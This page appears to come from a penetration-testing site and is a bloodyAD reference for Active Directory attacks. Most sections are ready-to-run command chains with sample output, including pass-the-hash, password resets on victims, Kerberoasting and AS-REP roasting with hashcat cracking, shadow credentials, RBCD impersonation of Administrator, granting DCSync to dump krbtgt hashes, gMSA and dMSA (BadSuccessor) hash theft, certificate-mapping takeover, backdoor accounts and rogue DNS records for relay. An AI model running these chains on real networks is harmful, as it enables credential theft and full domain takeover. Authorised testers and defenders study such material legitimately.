# bloodyAD Active Directory Attack Reference

> Exploits Active Directory misconfigurations using bloodyAD; covers privilege escalation, ACL abuse, object manipulation, and lateral movement techniques.

- **URL:** https://hackindex.io/platforms/active-directory/exploitation/bloodyad-active-directory-reference
- **Path:** Active Directory > Exploitation
- **Up:** [Exploitation](https://hackindex.io/platforms/active-directory/exploitation.md)
- **Published:** 2026-06-14
- **Updated:** 2026-08-11

bloodyAD is a Python tool that manipulates Active Directory objects over LDAP and LDAPS from a Linux attacker host. Where BloodHound only *maps* attack paths, bloodyAD *executes* them: reset passwords, write SPNs, add RBCD, grant DCSync, add shadow credentials, abuse dMSA accounts and more. It speaks LDAP directly, so there is no binary on disk and no AV surface, and it works with passwords, NT hashes, Kerberos tickets and certificates.

## Install and Authentication

Install with pipx. bloodyAD authenticates with a cleartext password, an NT hash (pass-the-hash), a Kerberos ticket (pass-the-ticket) or a certificate (PKINIT / Schannel). `--host` takes a hostname or IP; for Kerberos use the FQDN and add `--dc-ip` when the name does not resolve.

```bash
pipx install bloodyAD
```

**bloodyAD authentication methods**

```bash
# Cleartext password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable

# Pass-the-hash (LMHASH:NTHASH, or :NTHASH alone)
bloodyAD -d $DOMAIN -u $USER -p :$NTHASH --host $TARGET_IP get writable

# Pass-the-ticket (Kerberos ccache from KRB5CCNAME)
export KRB5CCNAME=/tmp/$USER.ccache
bloodyAD -k -d $DOMAIN -u $USER --host dc01.$DOMAIN --dc-ip $TARGET_IP get writable

# Certificate (PKINIT with -k, or Schannel without) using a key:cert PEM pair
bloodyAD -c '/tmp/key.pem:/tmp/cert.pem' -d $DOMAIN -u $USER --host $TARGET_IP get writable

# Force LDAPS when LDAP signing / channel binding is enforced
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP --secure get writable
```

> [!WARNING]
> Every write below is logged. Directory service changes raise events such as 4738 (user changed), 4724/4723 (password reset/change), 5136 (object attribute modified) and 4742 (computer changed). Reverse each change with its `remove` or `set` counterpart when the engagement allows.

## Placeholders Used Here

Every example reuses the same variables. Where each one comes from:

- `$DOMAIN` - domain FQDN, e.g. `corp.local`.
- `$USER` / `$PASSWORD` / `$NTHASH` - your current foothold account and its password or NT hash.
- `$TARGET_IP` - the DC. `--host` accepts this IP, or the DC FQDN (use the FQDN for Kerberos).
- `$BASE_DN` - the domain DN, e.g. `DC=corp,DC=local`. Each label in `$DOMAIN` becomes one `DC=` component.
- `$TARGET_USER` / `$TARGET_GROUP` / `$TARGET_COMPUTER` - the sAMAccountName of the object you are abusing, taken straight from `get writable` or a BloodHound edge. Computer and gMSA names end in `$` (e.g. `WS01$`).
- `$TARGET_OBJECT` / `$GMSA` - a sAMAccountName or a full DN. When two objects share a name, paste the full `distinguishedName` from `get writable` instead.
- `$LHOST` - your attacker IP.
- Literal values like `fake/dc01` (an SPN) or `NewPass123!` (a new password) are yours to pick; an SPN only has to be unique in the domain.

Anything not in that list - a tombstone DN containing `\0ADEL:`, an objectGUID, a SID - is never typed by hand. You read it from a `get` command first, then paste it into the write. Each section below shows which read produces the value the write needs.

## Reading bloodyAD Output

A few flags change how results are printed and are worth knowing before you start:

- `--json` prints machine-parseable JSON instead of the key/value layout.
- `get object` and `get search` emit binary attributes (objectSid, securityDescriptor, msDS-ManagedPassword) as base64; pass `--resolve-sd` to expand a security descriptor into readable owner and ACE entries.
- `-v DEBUG` (or `TRACE`) shows the raw LDAP exchange when a write is silently rejected.
- `--attr` limits output to the attributes you care about instead of the full object.

## Enumeration and Target Selection

`get writable` is the first command to run with any new credential. It lists exactly which objects and attributes the current identity can modify, which is the input to every attack on this page. Filter with `--right WRITE` to drop read-only noise.

**get writable**

```bash
# Everything writable by the current user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable

# Only objects you can write, with per-attribute detail
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get writable --right WRITE --detail
# distinguishedName: CN=svc_backup,CN=Users,DC=corp,DC=local
# permission: WRITE
#
# distinguishedName: CN=Helpdesk,OU=Groups,DC=corp,DC=local
# permission: WRITE
#
# distinguishedName: OU=Servers,DC=corp,DC=local
# permission: CREATE_CHILD
```

Read this top to bottom. `WRITE` on a user enables a password reset, a forged SPN or shadow credentials. `WRITE` on a group means add a member. `WRITE` on a computer means RBCD. `CREATE_CHILD` on an OU means you can create a computer, user or dMSA there. Each maps to a section below.

### Reading objects and searching

`get object` dumps a single object; `get search` runs an arbitrary LDAP filter. Use them to confirm an attribute before and after a write, and to find roastable accounts and delegation without BloodHound.

**get object / get search**

```bash
# Full attributes of one user (binary fields come back as base64)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER

# Just the attributes you care about
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object $TARGET_USER --attr servicePrincipalName,userAccountControl

# Kerberoastable users (have an SPN)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(&(objectClass=user)(servicePrincipalName=*))' --attr sAMAccountName,servicePrincipalName

# AS-REP roastable users (DONT_REQ_PREAUTH bit set)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' --attr sAMAccountName

# Unconstrained delegation (non-DC)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --filter '(userAccountControl:1.2.840.113556.1.4.803:=524288)' --attr sAMAccountName,dNSHostName
```

**membership, children, trusts, DNS, collection**

```bash
# Group memberships of a target (recursive by default)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get membership $TARGET_USER

# Child objects of a container
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children --target "OU=Servers,$BASE_DN"

# Domain trusts as an ascii tree
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get trusts

# Dump ADIDNS records readable by the user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get dnsDump

# Built-in BloodHound CE collector (basics only, no ADCS nodes yet)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get bloodhound --path ./bh

# Filter children by type
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children --target "OU=Servers,$BASE_DN" --otype user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get children --target "OU=Servers,$BASE_DN" --otype computer
```

## Password Reset and Account Takeover

With ForceChangePassword, GenericWrite or GenericAll on a user you can set a new password without knowing the old one. Loud and disruptive: it locks out the real user and breaks service accounts mid-run. Prefer shadow credentials on anything that matters.

**set password**

```bash
# Reset a target user's password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $TARGET_USER 'NewPass123!'

# Change a password you already own (account flagged 'must change at next logon')
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password $USER 'NewPass123!' --oldpass $PASSWORD
# [+] Password changed successfully!
```

```bash
nxc smb $TARGET_IP -u $TARGET_USER -p 'NewPass123!'
# SMB  10.10.10.10  445  DC01  [+] corp.local\svc_backup:NewPass123!
```

## Targeted Kerberoasting

GenericWrite or GenericAll on a user lets you write a fake SPN onto it, request a service ticket, and crack it offline. The account does not need to be a real service. Clear the SPN afterwards.

**set object servicePrincipalName**

```bash
# Write a fake SPN
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName -v 'fake/dc01'

# Request and crack the ticket
impacket-GetUserSPNs $DOMAIN/$USER:$PASSWORD -dc-ip $TARGET_IP -request-user $TARGET_USER
hashcat -m 13100 hash.txt /usr/share/wordlists/rockyou.txt

# Cleanup: remove the SPN (no -v deletes the attribute)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set object $TARGET_USER servicePrincipalName
# $krb5tgs$23$*svc_backup$CORP.LOCAL$fake/dc01*$a1b2...<snip>
```

## AS-REP Roasting via UAC

GenericWrite lets you flip the `DONT_REQ_PREAUTH` bit on a user so it becomes AS-REP roastable, then request the encrypted blob without authenticating as them. Remove the flag when done.

**add uac DONT_REQ_PREAUTH**

```bash
# Disable Kerberos pre-auth on the target
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER -f DONT_REQ_PREAUTH

# Roast and crack
impacket-GetNPUsers $DOMAIN/$TARGET_USER -no-pass -dc-ip $TARGET_IP
hashcat -m 18200 hash.txt /usr/share/wordlists/rockyou.txt

# Cleanup: re-enable pre-auth
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER -f DONT_REQ_PREAUTH
# $krb5asrep$23$svc_backup@CORP.LOCAL:9f8e...<snip>
```

## Shadow Credentials (native)

With GenericWrite or GenericAll on a user or computer, bloodyAD writes a key credential to `msDS-KeyCredentialLink`, authenticates with PKINIT, and returns the account's TGT and NT hash in one command. No password change, fully reversible: the preferred takeover when stealth matters. Requires a DC at Server 2016+ with PKINIT (an enterprise CA present).

**add shadowCredentials**

```bash
# Add key credential, PKINIT, return TGT + NT hash
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add shadowCredentials $TARGET_USER

# Pass the recovered hash
nxc smb $TARGET_IP -u $TARGET_USER -H $NTHASH
# [+] KeyCredential generated with sha256 of RSA key: 9c1f...
# [+] Saved PFX (#PKCS12) certificate & key at /tmp/svc_backup.pfx
# [+] Authenticating as 'svc_backup' via PKINIT
# [+] Saved credential cache to svc_backup.ccache
# [+] NT hash for 'svc_backup': aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889
```

Use `--stealth` to skip persisting the certificate to disk, and `remove shadowCredentials $TARGET_USER` to clear the key credential when you no longer need it.

## Resource-Based Constrained Delegation (RBCD)

GenericWrite, GenericAll or WriteAccountRestrictions on a computer lets you write its `msDS-AllowedToActOnBehalfOfOtherIdentity` so an account you control can impersonate any user to that machine. You need a controlled computer account; create one with `add computer` if the machine account quota allows (default 10 per user).

**add computer + add rbcd**

```bash
# 1. Create a computer account you control
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKER 'ComputerPass123!'

# 2. Allow ATTACKER$ to act on behalf of others on the target computer
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add rbcd "$TARGET_COMPUTER$" 'ATTACKER$'

# 3. S4U2Self + S4U2Proxy -> CIFS ticket as Administrator on the target
impacket-getST -spn cifs/$TARGET_COMPUTER.$DOMAIN -impersonate Administrator -dc-ip $TARGET_IP $DOMAIN/'ATTACKER$':'ComputerPass123!'

# 4. Use the ticket
export KRB5CCNAME=Administrator@cifs_$TARGET_COMPUTER.$DOMAIN@$DOMAIN.ccache
impacket-psexec -k -no-pass $TARGET_COMPUTER.$DOMAIN

# Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove rbcd "$TARGET_COMPUTER$" 'ATTACKER$'
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove object 'ATTACKER$'
# [+] ATTACKER$ created
# [+] $TARGET_COMPUTER$ msDS-AllowedToActOnBehalfOfOtherIdentity updated
```

## Granting DCSync Rights

If you own the domain object or have WriteDacl on it (often reached through the WriteOwner chain below), grant your own account the two replication rights, then pull hashes with secretsdump. This is the standard path to the krbtgt hash and a Golden Ticket.

**add dcsync**

```bash
# Grant DCSync to your user
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dcsync $USER

# Dump krbtgt and Administrator
impacket-secretsdump -just-dc-user krbtgt $DOMAIN/$USER:$PASSWORD@$TARGET_IP
impacket-secretsdump -just-dc-user Administrator $DOMAIN/$USER:$PASSWORD@$TARGET_IP

# Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dcsync $USER
# corp.local\krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
```

The krbtgt hash enables a Golden Ticket. See [DCSync and Domain Takeover](https://hackindex.io/platforms/active-directory/exploitation/active-directory-dcsync-and-domain-takeover).

## WriteOwner to Full Control

WriteOwner does not grant access by itself. Take ownership, give yourself GenericAll, then run the matching abuse: password reset on a user, AddMember on a group, or `add dcsync` on the domain object.

**set owner + add genericAll**

```bash
# 1. Become the owner
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set owner "$TARGET_OBJECT" $USER

# 2. Grant yourself full control
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add genericAll "$TARGET_OBJECT" $USER

# 3. Now abuse it (example: reset the password if it's a user)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set password "$TARGET_OBJECT" 'NewPass123!'

# Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove genericAll "$TARGET_OBJECT" $USER
```

## Group Membership

GenericWrite or AddMember on a group lets you add any principal. Adding yourself to a high-value group (Domain Admins, DnsAdmins, Backup Operators, Remote Management Users) is a direct escalation. New membership only takes effect in a fresh Kerberos ticket: re-authenticate after adding.

**add groupMember**

```bash
# Add yourself (or any member) to a group
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add groupMember "$TARGET_GROUP" $USER

# Confirm membership
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get membership $USER

# Cleanup
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove groupMember "$TARGET_GROUP" $USER

# Convert a Global Security group to Universal Security so it can hold
# members from trusted domains (value: -2147483640 = Universal Security)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP \
  set object "$TARGET_GROUP" groupType -v -2147483640
# distinguishedName: CN=Domain Admins,CN=Users,DC=corp,DC=local
# objectSid: S-1-5-21-...-512
```

## gMSA Password Read

If you can write a gMSA's `msDS-GroupMSAMembership` (or already control a principal that is allowed to retrieve the password), add yourself, then read the managed password. bloodyAD decodes the blob into the NT hash and AES keys for pass-the-hash.

**add gmsaGroup + get object msDS-ManagedPassword**

```bash
# 1. Allow your account to retrieve the gMSA password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add gmsaGroup "$GMSA$" $USER

# 2. Read and decode the managed password
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get object "$GMSA$" --attr msDS-ManagedPassword
# msDS-ManagedPassword.NTLM: aad3b435b51404eeaad3b435b51404ee:8d2c9f0b1a7e6d5c4b3a2f1e0d9c8b7a
# msDS-ManagedPassword.AES256: 1b2c...<snip>
```

## BadSuccessor (dMSA abuse)

On Windows Server 2025 domains, CreateChild on an OU lets you create a delegated Managed Service Account (dMSA) and link it to any victim via `msDS-ManagedAccountPrecededByLink`. The DC then issues the dMSA a TGT whose PAC carries the victim's keys, and bloodyAD prints the victim's NT hash as the dMSA's "previous keys". On patched DCs you also need WRITE on the victim, so use `--prepatch` only against unpatched DCs.

**add badSuccessor**

```bash
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host dc01.$DOMAIN --dc-ip $TARGET_IP add badSuccessor evilDMSA -t "CN=Administrator,CN=Users,$BASE_DN" --ou "OU=Staging,$BASE_DN"
# [+] Creating DMSA evilDMSA$ in OU=Staging,DC=corp,DC=local
# [+] Impersonating: CN=Administrator,CN=Users,DC=corp,DC=local
# [+] dMSA TGT stored in ccache file evilDMSA_xy.ccache
# dMSA previous keys found in TGS (including keys of preceding managed accounts):
# RC4: 7a3b1c9d2e4f5a6b8c0d1e2f3a4b5c6d
```

The RC4 entry under "previous keys" is the victim's NT hash. Use it for pass-the-hash, or use the saved ccache directly with `-k --use-kcache`.

## Recycle Bin Restore

With WRITE on a tombstone in the Deleted Objects container, you can restore the object. A restored user often reuses its old password, giving instant access.

You do not build the restore target by hand. When an object is deleted, AD rewrites its RDN to `CN=<oldname>\0ADEL:<objectGUID>`, where the GUID is that object's own `objectGUID`. So list the Deleted Objects container first and copy the exact `distinguishedName` from the output. The two `-c` controls (show deleted, show recycled) are what make tombstones visible to the search; without them the container looks empty. The same DN also appears in `get writable` when you hold WRITE on the tombstone.

Reading all attributes without restoring is useful when the object held credentials in non-standard attributes (custom password fields, legacy sync attributes, description fields). Tombstones retain most attributes that existed at deletion time. Use `--attr '*'` with the same two `-c` controls on a targeted filter to dump everything that survived. No write permission required: read access to the Deleted Objects container (granted to Domain Admins and members of the AD Recycle Bin group) is enough.

**list deleted objects**

```bash
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP get search --base "CN=Deleted Objects,$BASE_DN" --filter '(isDeleted=TRUE)' --attr distinguishedName,sAMAccountName,lastKnownParent -c 1.2.840.113556.1.4.2064 -c 1.2.840.113556.1.4.2065
# distinguishedName: CN=svc_legacy\0ADEL:1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d,CN=Deleted Objects,DC=corp,DC=local
# sAMAccountName: svc_legacy
# lastKnownParent: CN=Users,DC=corp,DC=local
```

**Read all properties of a deleted object (no restore needed)**

```bash
# List first to get the exact sAMAccountName or GUID
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP \
  get search --base "CN=Deleted Objects,$BASE_DN" \
  --filter '(sAMAccountName=$TARGET_USER)' \
  --attr '*' \
  -c 1.2.840.113556.1.4.2064 \
  -c 1.2.840.113556.1.4.2065
# sAMAccountName: TempAdmin
# isDeleted: True
# lastKnownParent: OU=Users,OU=UK,DC=cascade,DC=local
# cascadeLegacyPwd: YmFDVDNyMWFOMDBkbGVz
# userPrincipalName: TempAdmin@cascade.local
# objectSid: S-1-5-21-...-1136
# whenCreated: 2020-01-27 03:23:08+00:00
```

**set restore**

```bash
# Paste the distinguishedName from the listing above verbatim
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP set restore "CN=svc_legacy\0ADEL:1a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d,CN=Deleted Objects,$BASE_DN"
# [+] Restored to CN=svc_legacy,CN=Users,DC=corp,DC=local
```

## Certificate Mapping (altSecurityIdentities)

With GenericWrite on a user or computer, you can write to `altSecurityIdentities`. This attribute lists certificate identities that Windows accepts for PKINIT authentication as that account. Writing an entry that matches a certificate you control lets you authenticate as the victim without knowing their password or NT hash.

The `X509:<RFC822>` format maps by email address. If the target account's `mail` attribute is also writable, you can align both to match your cert's SAN and authenticate as the victim via certipy.

This is the underlying primitive behind BloodHound CE's ADCSESC14 edge. Appears in HTB Scepter (2025).

**altSecurityIdentities: write cert mapping, authenticate as victim**

```bash
# Read current mapping (empty means standard password/cert matching)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  get object $VICTIM_USER --attr altSecurityIdentities

# Write RFC822 (email) mapping: any cert with SAN email = this value authenticates as $VICTIM_USER
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  set object $VICTIM_USER altSecurityIdentities -v 'X509:<RFC822>attacker@$DOMAIN'

# If mail attribute is also writable, align it to your cert's SAN
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  set object $VICTIM_USER mail -v 'attacker@$DOMAIN'

# Now authenticate as $VICTIM_USER using a cert whose SAN email = attacker@$DOMAIN
certipy auth -pfx attacker.pfx -username $VICTIM_USER -domain $DOMAIN -dc-ip $DC_IP

# Clean up: remove the mapping
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $DC_IP \
  remove object $VICTIM_USER altSecurityIdentities -v 'X509:<RFC822>attacker@$DOMAIN'
```

## Creating Users and Computers

CREATE_CHILD on a container or OU lets you add new principals. A new computer account is the building block for RBCD and shadow-credential chains; a new user is useful for persistence under your own control.

**add user / add computer**

```bash
# New user in a specific OU
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add user newsvc 'NewPass123!' --ou "OU=ServiceAccounts,$BASE_DN"

# New computer (machine account quota permitting)
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add computer ATTACKER 'ComputerPass123!'
```

## ADIDNS Records

Authenticated users can usually create DNS records in the AD-integrated zone. Add a record pointing at your host to enable WPAD or name-spoofing primitives that feed NTLM relay. Keep this in mind as a chaining step rather than a standalone win.

**add dnsRecord**

```bash
# Add an A record pointing at the attacker
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add dnsRecord attacker $LHOST

# Remove it afterwards
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove dnsRecord attacker $LHOST
```

Pair this with relaying. See [NTLM Relay](https://hackindex.io/platforms/active-directory/exploitation/ad-ntlm-relay).

## UAC Flag Reference

`add uac` sets and `remove uac` clears userAccountControl flags. The flags worth abusing:

- `DONT_REQ_PREAUTH` (0x400000) - makes the account AS-REP roastable.
- `TRUSTED_FOR_DELEGATION` (0x80000) - marks a computer for unconstrained delegation so it caches TGTs of anyone who authenticates to it.
- `TRUSTED_TO_AUTH_FOR_DELEGATION` (0x1000000) - enables protocol transition for a constrained-delegation S4U2Self abuse.
- `DONT_EXPIRE_PASSWORD` (0x10000) - keeps a backdoor account's password from expiring.
- `ACCOUNTDISABLE` (0x2) - disable or, when removed, re-enable an account.

**add uac / remove uac**

```bash
# Stack flags in one call
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP add uac $TARGET_USER -f DONT_REQ_PREAUTH -f DONT_EXPIRE_PASSWORD

# Re-enable a disabled account
bloodyAD -d $DOMAIN -u $USER -p $PASSWORD --host $TARGET_IP remove uac $TARGET_USER -f ACCOUNTDISABLE
```

## References

- [bloodyAD (GitHub)](https://github.com/CravateRouge/bloodyAD) - AD privilege escalation toolkit over LDAP: get/set/add/remove modules used throughout this page.
- [bloodyAD Wiki](https://github.com/CravateRouge/bloodyAD/wiki) - Full command reference and connection options.
- [Impacket (GitHub)](https://github.com/fortra/impacket) - GetUserSPNs, GetNPUsers, getST, secretsdump, psexec used to follow up bloodyAD writes.
- [NetExec (nxc) (GitHub)](https://github.com/Pennyw0rth/NetExec) - Verify recovered credentials and pass-the-hash.
- [BadSuccessor (Akamai)](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation) - Original research on dMSA-based privilege escalation on Server 2025.
